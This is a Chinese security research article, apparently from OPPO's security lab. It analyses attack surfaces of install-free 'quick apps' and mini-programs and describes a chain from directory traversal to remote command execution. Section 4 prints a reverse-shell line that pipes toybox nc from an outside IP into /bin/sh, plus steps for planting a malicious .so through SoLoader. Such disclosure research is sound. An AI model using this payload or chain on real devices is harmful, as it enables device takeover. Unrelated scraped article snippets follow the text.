1. 背景简介

随着5G时代来临,互联网信息爆炸式增长,移动应用逐渐变得体积庞大且功能复杂。一方面普通消费者会越来越少地去下载客户端,绝大多数需求需要以更轻量化的方式得到满足,另一方面,每一个超级APP或手机厂商都想生态化的汇聚更多内容。由此,“快应用”一类的免安装应用应运而生。

今年,OPPO子午实验室在Black Hat Asia黑帽大会上分享了针对免安装应用的研究与分析成果,如何从普通接口调用到应用权限的远程命令执行,我们将在本篇文章中进行更为详尽的分析。

BlackHat是由传奇黑客Jeff Moss于1997年创办的全球性网络安全大会,被誉为黑客世界的“奥斯卡”,每年分别在美国、欧洲、亚洲各举办一场,作为全球信息安全行业的顶级盛会,自诞生以来每年都吸引了全球众多企业、政府机构和顶级安全厂商、研究组织的关注和参与。

2. 架构简介

免安装应用架构多样,但从整体上看可以分为移动操作系统厂商与平台型应用厂商两种不同的派别。

移动操作系统厂商
国外以谷歌、苹果为代表的操作系统厂商充分利用作为平台的优势,也方便开发者快速上手,将传统的Android与iOS应用模块化,结构、开发语言要求等均不变,应用可以根据实际情况按需加载,极大程度上缩减了用户的使用等待时间,进而实现”免安装“的效果。


谷歌InstantApp与苹果AppleClips对于安卓和iOS来说更多是一个“临时应用”的角色,因此操作系统会对其可访问的数据、权限有所限制。比如iOS中,AppleClips不能和其他应用自由的交换数据,只能与自己对应的完整应用(full-app)进行数据共享;AppleClips不能进行后台服务,也不能访问通讯录、文件管理、短信等用户敏感数据,甚至连通知都会在申请8小时之后自动撤销。

平台型应用厂商
平台型应用厂商以国内的为显著代表,诸如国内九大安卓手机厂商所创建的快应用平台、微信、支付宝等。此类平台型应用充分吸收了传统H5应用的优势,并将其与移动应用的JS-Bridge相结合。

快应用/小程序引擎实际上与浏览器的多进程架构非常类似,将我们的Web前端应用打包之后运行在引擎之上,不同快应用/小程序运行在不同的进程中,互不干扰。引擎作为中间人,一方面承担着快应用/小程序代码解释器,另一方面也是快应用/小程序与操作系统内核、底层硬件沟通的双向桥梁。

3. 攻击面解析

对于谷歌InstantApp与苹果AppleClips的攻击方式篇幅限制,不在此赘述。下文主要分析国内用户更常使用的快应用/小程序的攻击面。

如下图架构纵览所示,业务服务端、引擎服务端、引擎、原生Android/iOS应用、操作系统与底层硬件五者之间存在着诸多数据交互进程,而引擎又仿佛是架设在Android/iOS之上的微型OS,支撑并管理快应用/小程序生态正常运行。

3.1 从应用下载启动流程看

在包下载的过程中,存在两条攻击路径,如果厂商未使用严格的HTTPS传输,攻击者可在下载过程替换数据,将恶意内容回传给客户端;另外如果厂商将包临时下载到手机的外部存储,恶意应用也可以抓住这个时机进行替换,当然这也依赖于引擎未对包做文件校验。

3.2 从引擎提供接口看

无论是小程序还是快应用都提供了许多调用系统或者底层硬件的接口,从拍照录音到操作文件系统,众多的接口隐藏着巨大的安全隐患。总体可以归为如下几类:

1)传感器或硬件调用类:电量、蓝牙、NFC、屏幕、键盘、加速计、罗盘等。

针对此类不包含用户敏感数据的接口,我们需要关注的便是授权,快应用/小程序是否可以不经过授权调用接口能力或一次授权永久授权;

2)文件系统: 创建文件/目录、下载文件、上传文件、删除文件/目录、解压文件等。

文件系统直接与Android/iOS操作系统交互,具有很高的风险,需要关注的点较多,如下:

  • 授权,快应用/小程序需要获得用户授权才能调用接口读写文件系统;

  • 可操作文件系统范围,快应用/小程序可操作的根目录是否被限制在私有目录下的一个具体目录内;

  • 接口是否判断了目录穿越符号…/,下载文件接口或解压接口能否穿越目录跳出可操作文件系统范围;

  • 接口在底层可能调用了C++函数或系统函数,是否能够注入恶意字符串执行命令或删除不可期的目录文件。

3)平台特色:实名认证、广告、应用下载、卡券、红包、账号体系、支付等。

此类与服务端交互的接口更多的是业务逻辑漏洞,我们需要关注这些接口是否在客户端完成校验,哪怕是整个校验流程中的一步,都有可能造成巨大危害。

实名认证、支付等接口,客户端验证可能绕过儿童模式管制或付费体系,实现本地破解;

广告、应用下载等计费接口,快应用/小程序能否绕过计费或刷量;

4)操作系统调用:相机、录音、应用跳转、数据存储、通知、WebView、剪贴板、联系人、日历等。

操作系统调用涉及用户敏感信息,除了上述的授权之外,我们需要关注:

  • 接口能否在后台持续运行,比如录音,拍照;

  • WebView能否打开任意URL,并携带身份信息字段;

  • 应用跳转范围是否可控,支持哪些协议;

  • 数据存储的位置是否安全,其他快应用/小程序或者原生应用能否篡改;

3.3 从引擎底层看

引擎自身由逻辑代码JavaScript解析引擎、WebView组件、图片音视频解码组件、JS to C++/Swift/ObjcC系统调用库等组成。

1)我们首先说说JS引擎,不同平台不同厂商使用的JS引擎各不相同,但总归是基于V8或者JavaScriptCore,快应用/小程序引擎首先将JS文件预处理、结构化,再交由JS引擎进行优化执行。

小程序 快应用
Android X5内核/UC内核 V8引擎
iOS JavaScriptCore - - -

也就是说如果我们在小程序/快应用的逻辑代码层也就是小程序的js文件、快应用的ux文件中插入V8/JSC的漏洞利用代码,等待引擎进行解析执行便可造成文件读写甚至命令执行,当然具体效果这也取决于不同厂商在对JS引擎漏洞缓解措施。
2)图片音视频解码组件

名称 组件 是否有历史CVE漏洞
音频 MediaBrowserCompat、FFmpeg… 未知
JPG/JPEG libjpeg-turbo、… 存在
视频 Mediacodec、libstagefright、FFmpeg… 存在

快应用/小程序支持多种图片格式解析、音视频播放、live直播等,除了依赖操作系统底层的组件外,自身可能嵌入了很多自定义动态链接库,而很多动态链接库比如libjpeg-turbo、FFmpeg都是存在历史CVE漏洞了,而对这些库的Fuzz也是比较方便的,因此这是快应用/小程序引擎的一个潜在攻击面。

4. 从目录穿越到远程命令执行

我们在第二章节提到过,文件系统是引擎提供的权限很高的接口,稍不慎便可造成命令执行等,于是我们便从此既定目标出发,看看在快应用中能否实现目录穿越。

快应用实现了较多的文件读写操作API,比如:

access(object)
appendFile(object)
mkdir(object)
readFile(object)
rename(object)
readdir(object)
...

如果要实现远程攻击,则我们需要从网络上向受害者设备下载写入文件,自然而然,我们首先尝试使用其中某接口穿越到lib-main写入动态链接库lib-xxx.so

经过真机测试,我们成功写入了恶意的so文件加载库:

那为什么我们要向这个目录写入so文件呢?那我们需要提到一个东西——Facebook SoLoader。

SoLoader是facebook推出的一个So文件加载库,它封装了System.loadLibrary并且能够处理So文件的依赖。

当React Native应用第一次启动时,SoLoader会在/data/data/package_name下创建一个lib-main文件夹并根据规则提取apk中的So文件到其中。

如此我们便可让引擎加载我们恶意的so文件加载库,达到本地命令执行的效果:

shell.so 执行 => system("/system/bin/toybox nc 192.168.1.153 1233 | /system/bin/sh  &");

但要实现远程命令执行还远远不够,受害者需要打开目标快应用,并二次重启快应用引擎。我们知道快应用支持二维码、deeplink、NFC等方式打开应用,于是整个漏洞利用链如下:

只需要用户点击hap scheme链接或者接触NFC设备,我们便可实现远程命令执行。

5. 总结与展望

本文提到的免安装应用攻击面与漏洞利用方式或许只是冰山一角,但免安装应用是移动应用的的未来发展趋势,跨平台的特性,不仅在手机终端广泛使用,也开始搭载在新能源汽车的车机系统之中,或许以后还能够在工控、医疗、穿戴设备上看到它的身影,它的漏洞潜在威力实在不容小觑。

6. 引用链接

[1] https://www.infoq.cn/article/huawei-quickapp-engine-architecture
[2] https://github.com/facebook/SoLoader

作者简介

Zhiyang OPPO子午安全实验室网络安全工程师

OPPO子午安全实验室成立于2019年,以“保护用户的安全与隐私,为品牌注入安全基因”为使命,持续关注业务安全、红蓝对抗、AIoT安全、Android安全、数据和隐私保护等领域,深耕安全攻防研究及研发体系安全建设。

获取更多精彩内容,请扫码关注[OPPO数智技术]公众号

潜藏在手机中的新威胁:免安装应用安全指北相关推荐

  1. drx功能开启后_简单实用!小米手机中这些新功能真香

    小米手机作为国产机热销品牌之一,它除了有好看的外观,还有很多隐藏的实用功能,今天小编就来和大家分享5个小米手机里你不知道的功能. Al电话助理 看到陌生号码时,很多人第一反应就是挂掉,不想接听,但又担 ...

  2. 中望中望3D 2023X免安装_20230226

    中望中望3D 2023X免安装_20230226 中望3D免安装版.它是虚拟光驱的形式,可以将它放在电脑里.U盘里...,你都可以加载到虚拟光驱里面使用,无论你的电脑是否安装得有中望3D,它都能使用, ...

  3. 新司机的黑裙战斗机 篇四:新司机的黑群晖指北—软件篇(下)

    原文网址:https://post.smzdm.com/p/awxl3d44/ 各位剁友好,我是身在长沙的一只小剁,因为ID的缘故长沙剁友赐雅号--姐夫 本文是我的首个系列<新司机的黑裙战斗机& ...

  4. 新司机的黑裙战斗机 篇二:入门—新司机的黑群晖指北——软件篇(上)

    原文网址:https://post.smzdm.com/p/alpkmoge/ 各位剁友好,我是身在长沙的一只小剁,因为ID的缘故长沙剁友赐雅号--姐夫 上一篇关于硬件配置和装机的晒单,引发了大量评论 ...

  5. 手机扫码传文件免安装免流工具教程

    手机免安装0流量传输文件必备神器扫二维码即可传送文件,只要有一个手机有这软件就能传,软件可以传送视频软件文档音乐还有其他文件如压缩包等等,非常方便实用! 视频教程: 手机免安装0流量扫码传文件神器实际 ...

  6. 快速学会用EasyRecovery恢复手机中误删除的数据

    随着手机越来越智能,功能越来越多,用户普及率也在不断地增加.很多机主在手机的使用过程中,常常会出现误删手机数据的情况.当手机数据被误删 了,大多数的人都认为数据已经石沉大海,再也找不回来了,而事实上, ...

  7. 准备你的应用(Android免安装应用)

    最好的免安装应用体验专注于帮助用户快速完成任务(例如观看视频或进行购买).您可以开始使用此应用程序列表来准备Android免安装应用.这里的许多考虑被认为是Android应用程序的最佳做法. 从你的应 ...

  8. 【安全资讯】5G时代无线电的新威胁

    作者| 安全牛 来源| 安全内参 发布时间|2021-08-06 无线电攻击并不是一种新的攻击手段,但是在5G时代,随着智能手机的更广泛应用,其造成的影响与破坏将大幅增长.5G时代,当智能手机开始成为 ...

  9. 中秋手机大换新 这几部爆款可以入手了

    一场秋雨一场寒,中秋临近换新颜:除了添置新衣,有没有想法换一部新手机呢?9月正是新机爆发的好时候,各家新机争奇斗艳,不妨让小科为你推荐吧!从旗舰到入门,从全面屏到双屏一网打尽,提供了华为nova 2 ...

最新文章

  1. 读javascript高级程序设计03-函数表达式、闭包、私有变量
  2. 素数与量子物理的结合能带来解决黎曼猜想的新可能吗?
  3. 项目中遇到的问题—遍历对象里面的数组
  4. ChaosBlade x SkyWalking 微服务高可用实践
  5. Xshell连接不上虚拟机的解决办法
  6. 速学c++(1)-c++简介
  7. 【瞎搞】 Codeforces Round 276 DIV 2 C.Bits
  8. Codeplus2017 12月赛——可做题1
  9. contentType,charset和pageEncoding的区别
  10. python调用caffe环境配置
  11. 行业陷入“围城”效应,新茶饮品牌凛冬将至
  12. 程序员内功:八大排序算法
  13. 解决注册表被禁用的问题
  14. 使用计算机配置路由器,电脑设置路由器步骤
  15. Python制作当年第一款真正意义上的手机游戏——贪吃蛇游戏
  16. 电脑桌面下方的任务栏卡死解决方案:
  17. 元素偏移量 offset 系列
  18. Linux命令五---搜索查找命令---find-grep-which-whereis等---网络通信命令--ifconfig-netstat等
  19. Canvas 图片平铺设置
  20. C# 之 Ocelot 使用

热门文章

  1. Jenkins节点添加采用agent出错解决方案-not reachable
  2. Google 黑板报: 哀悼与团结的曲线
  3. [NFC] 读羊城通卡片信息
  4. 二叉树的结构特点及性质
  5. bzoj1062: [NOI2008]糖果雨
  6. 绘画教程:动漫角色中男生女生脸部画法
  7. c语言数学函数库根号程序,C语言初学 数学中带根号的复杂计算问题
  8. 为何日本手机走不出国门?
  9. 读书节最该买的书,我都帮你们挑出来了
  10. android按键精灵源码,按键精灵手机版网络验证源码适用安卓/苹果ios手机按键